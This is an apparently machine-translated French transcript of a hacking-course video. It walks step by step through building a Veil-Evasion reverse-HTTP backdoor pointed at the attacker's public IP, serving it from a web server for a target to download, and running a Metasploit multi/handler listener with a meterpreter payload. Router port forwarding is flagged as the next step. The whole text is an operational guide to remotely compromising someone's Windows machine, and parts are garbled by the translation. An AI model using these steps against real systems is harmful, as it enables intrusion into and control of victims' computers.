Educateur: Bon,
allons-y maintenant.
Créons une porte
dérobée, et la seule différence est que nous
allons définir l'adresse IP sur l'adresse IP
publique plutôt que sur
l'adresse IP locale. appareils
dans le même réseau.
Donc, je vais utiliser Veil-Evasion et je vais le faire un peu
rapidement parce que nous l'avons fait et qu'il
n'y a rien de nouveau avec cela, nous pouvons
donc lister ce que nous avons.
Je vais utiliser le numéro 9, donc c'est
exactement la même charge que celle utilisée dans notre vidéo précédente.
C'est la charge HTTP inverse.
Donc, nous allons utiliser
9, et nous pouvons voir les options ici.
Nous pouvons voir que le LPORT est réglé sur 8080 par
défaut et je vais le garder.
La seule chose que je vais changer est le LHOST,
et dans les vidéos précédentes, lorsque nous recevions des
connexions sur notre propre ordinateur, nous avions l'habitude
de le régler sur l'IP local, donc si je
fais ifconfig wlan0, nous le configurions
à 192. 168. 0. 1 parce
que c’est l’IP que les périphériques utilisent à l’intérieur du réseau.
Eh bien, chaque fois que vous voulez faire des
choses à l'extérieur, nous voulons utiliser la véritable adresse IP, car ces adresses
IP internes ne sont pas visibles par les ordinateurs en dehors du réseau.
Donc, je vais utiliser l'adresse IP que je
vois sur Google, donc quand je tape "Quel est
mon adresse IP", je reçois cette IP et je vais l'utiliser comme
LHOST dans ma porte dérobée, donc je
vais simplement copier ça et je
vais le mettre ici.
Et désolé de ne pas l'avoir collé
correctement, alors prêtes.
Appuyez sur 'info' pour vous assurer que tout
est configuré correctement. PORT 8080 utilise donc l'adresse IP publique.
Il s'agit donc de l'étape la plus importante dans ce
domaine. Nous allons ensuite «générer».
Et on va juste appeler ça 'backdoordirty. EXE'.
Vous allez frapper Enter.
Et cela a généré ma charge utile pour moi, donc
il est stocké ici.
Encore une
fois, comme d'habitude, je vais copier
ceci et le coller dans mon
var www html et je vais vous
montrer comment le télécharger à partir d'Internet depuis l'extérieur du réseau.
Je vais donc simplement copier ceci dans mon répertoire de serveur Web.
Ok,
alors tout est fait.
Il ne nous reste plus qu'à écouter
les connexions entrantes.
Nous allons le faire en utilisant le multi /
handler, donc nous l'avons déjà fait auparavant.
Je vais le faire très vite.
Et quand je vais écouter le multi / gestionnaire, je
vais en fait écouter sur mon IP local, donc je ne vais
pas écouter sur l'externe, je vais écouter
sur le local parce que je ne peux
pas écouter sur l'externe.
Je suis actuellement dans le réseau
et je ne contrôle que mon ordinateur actuel.
Donc ce que je vais faire maintenant
est ici, dans la machine Kali, je vais écouter sur
le port 8080, et dans le périphérique externe, la
porte dérobée essaiera de
se connecter à la porte dérobée. Transmission IP permettant au routeur de
transmettre les ports 8080 à la machine Kali, mais nous devons
d’abord écouter sur
le port 8080 de la
machine Kali, et nous le
ferons à l’aide du multi / handler.
Donc, je vais juste faire msfconsole.
Encore une fois, nous
avons déjà fait cela, alors je vais le faire un peu rapidement.
Donc, je vais utiliser exploit / multi / handler.
Je vais régler la charge
utile sur windows / meterpreter / reverse_http.
Ensuite, nous allons régler le LPORT sur 8080, c'est donc
le port sur lequel nous allons établir des connexions, puis je vais
configurer le LHOST, l'hôte écoutant, sur
mon adresse IP
privée, comme je l'ai déjà dit, alors je
' Je vais
régler LHOST sur
192. 168. 0. 11 '
Maintenant, je vais faire "show options" pour
m'assurer que tout est bien fait,
et nous pouvons voir que le LPORT est réglé sur 8080 et que l'hôte local est
défini sur 192. 168. 0. 11 et
nous utilisons une charge utile de
windows / meterpreter / reverse_http.
Donc tout va bien.
Je vais faire 'exploiter'.
Comme vous pouvez
le voir ici, il s’agit d’écouter sur
mon adresse IP privée et sur PORT 8080.
Nous avons donc effectué les
deux étapes principales:
nous avons créé une porte dérobée, qui nous donnera
des connexions en fonction de la véritable
adresse IP et nous écoutons sur notre ordinateur local.
Nous écoutons sur le port 8080 de la machine Kali.
Ainsi, lorsque la personne cible
utilisera la porte dérobée sur Internet, la porte
dérobée tentera de se
connecter à cette adresse IP sur le port 8080.
Le seul problème est maintenant la passerelle,
qui est le routeur ici.
Le port 8080 n’est pas ouvert, il
va donc recevoir la connexion.
Cela ne va pas savoir quoi faire, nous
avons donc besoin de configurer
le routeur pour l'avertir chaque fois que vous obtenez
quelque chose, chaque fois que vous obtenez une connexion sur le port 8080,
je veux que vous le redirigiez vers ma machine Kali.
Et nous pouvons le faire
de deux manières, et nous en parlerons dans la prochaine conférence.